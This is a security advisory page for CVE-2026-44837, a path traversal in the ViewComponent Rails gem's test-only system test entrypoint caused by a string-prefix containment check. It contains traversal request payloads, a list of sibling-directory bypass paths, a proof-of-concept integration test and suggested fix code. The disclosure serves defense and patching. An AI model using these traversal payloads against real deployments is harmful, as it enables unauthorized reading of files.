Skip to main content

ViewComponent EUVDEUVD-2026-31971

| CVE-2026-44837 MEDIUM
Path Traversal (CWE-22)
2026-05-08 https://github.com/ViewComponent/view_component GHSA-hg3h-g7xc-f7vp
5.9
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.9 MEDIUM
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 09, 2026 - 00:00 vuln.today
Analysis Generated
May 09, 2026 - 00:00 vuln.today
CVE Published
May 08, 2026 - 23:33 nvd
MEDIUM 5.9

DescriptionGitHub Advisory

Summary

The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.

Severity: Medium; test-route scoped.

Example:

text
Allowed base:  /app/tmp/view_components
Outside path:  /app/tmp/view_components_evil/secret.html.erb

The outside path is not inside the base directory, but it passes:

ruby
@path.start_with?(base_path)

Relevant Code

app/controllers/view_components_system_test_controller.rb:

ruby
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)

The route then renders the resolved file:

ruby
render file: @path

Exploit Flow

Example request:

text
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb

Flow:

  1. base_path resolves to .../tmp/view_components.
  2. The payload resolves to .../tmp/view_components_evil/secret.html.erb.
  3. That path is outside the intended temp directory.
  4. The string prefix check still passes.
  5. Rails renders the sibling file.

The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.

Targeted Fuzz Result

The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:

text
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html

PoC Test

Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:

ruby
# frozen_string_literal: true

require "test_helper"
require "fileutils"

class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
    parent_dir = File.dirname(base_dir)
    sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
    outside_file = File.join(sibling_dir, "secret.html.erb")

    FileUtils.mkdir_p(sibling_dir)
    File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")

    get "/_system_test_entrypoint", params: {
      file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
    }

    assert_response :success
    assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
  ensure
    FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
    Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
  end
end

Run:

bash
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb

Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.

Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.

Suggested Fix

Use path-aware containment instead of a raw string prefix. For example:

ruby
def validate_file_path
  base_path = Pathname.new(::File.realpath(self.class.temp_dir))
  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
  relative_path = path.relative_path_from(base_path)

  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."

  @path = path.to_s
end

Or require a separator boundary:

ruby
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
  raise ViewComponent::SystemTestControllerNefariousPathError
end

Add regression tests for:

  • A normal temp file inside tmp/view_components
  • ../../README.md
  • ../view_components_evil/secret.html.erb
  • A symlink inside the temp directory that resolves outside it

AnalysisAI

Path traversal in ViewComponent system test entrypoint allows local attackers to read arbitrary files outside the intended temp directory by exploiting a flawed string-prefix containment check. The vulnerability affects ViewComponent 3.0.0 through 4.8.x running in Rails test mode; a request with a crafted file parameter containing a sibling directory name (e.g., ../view_components_evil/secret.html.erb) bypasses validation because /app/tmp/view_components_evil/secret.html.erb passes a start_with? check against /app/tmp/view_components. This is limited to test environments (Rails.env.test?) but poses risk in shared CI systems, staging, or review apps where test mode is accidentally exposed. Public proof-of-concept code is available.

Technical ContextAI

ViewComponent is a Ruby gem providing component-based view architecture for Rails. The vulnerability exists in the system test entrypoint controller, which uses Ruby's File.realpath() to canonicalize user-supplied file paths and then validates containment using a naive string prefix check (@path.start_with?(base_path)). This pattern fails to enforce directory boundary semantics because file path strings can share common prefixes without representing parent-child directory relationships-for example, /app/tmp/view_components and /app/tmp/view_components_evil share the prefix /app/tmp/view_components but are sibling directories, not nested. The root cause (CWE-22: Improper Limitation of a Pathname to a Restricted Directory) is a logic error in path containment validation. Exploitation requires the Rails test environment to be active and the /_system_test_entrypoint route to be accessible, which is normally only mounted during Rails.env.test? but may be exposed in shared CI environments, staging deployments, or misconfigured review apps.

RemediationAI

Vendor-released patch: upgrade ViewComponent to version 4.9.0 or later immediately. The fix replaces the unsafe string prefix check with path-aware containment validation using Ruby's Pathname class, explicitly verifying that the resolved file path is a descendant of the allowed base directory by checking relative_path_from() or enforcing a directory separator boundary (e.g., allowed_prefix = base_path + File::SEPARATOR). For teams unable to patch immediately, the primary compensating control is to ensure test environments are never exposed to untrusted networks: disable or remove the /_system_test_entrypoint route from production and staging deployments by conditionally mounting it only in isolated local/CI environments with restricted access. Review all Rails deployments currently running ViewComponent 3.0.0-4.8.x for test-mode exposure by checking for active Rails.env.test? routes in non-local environments and audit web server logs for /_system_test_entrypoint requests. If test mode cannot be disabled (e.g., in shared CI), add network-level access controls (firewall, reverse proxy authentication) to block external access to the entrypoint. Note that disabling test routes is the safest mitigation because the vulnerability is fundamental to the design, not a minor logic bug.

Share

EUVD-2026-31971 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy